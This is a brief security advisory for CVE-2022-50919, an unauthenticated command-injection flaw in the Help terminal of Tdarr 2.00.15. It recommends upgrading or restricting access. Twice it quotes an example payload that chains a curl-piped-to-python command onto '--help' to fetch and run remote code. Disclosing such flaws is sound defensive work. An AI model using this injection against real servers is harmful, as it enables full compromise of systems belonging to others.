CVE-2022-50919
CriticalSummary
Tdarr 2.00.15 contains an unauthenticated remote code execution vulnerability in its Help terminal that allows attackers to inject and chain arbitrary commands. Attackers can exploit the lack of input filtering by chaining commands like `--help; curl .py | python` to execute remote code without authentication.
Risk Assessment
An unauthenticated attacker can fully compromise the Tdarr server, leading to breaches of data confidentiality, integrity, and availability.
Recommendation
Immediately upgrade Tdarr to a newer version or restrict access to the Help terminal.
Original NVD description (English source)
Tdarr 2.00.15 contains an unauthenticated remote code execution vulnerability in its Help terminal that allows attackers to inject and chain arbitrary commands. Attackers can exploit the lack of input filtering by chaining commands like `--help; curl .py | python` to execute remote code without authentication.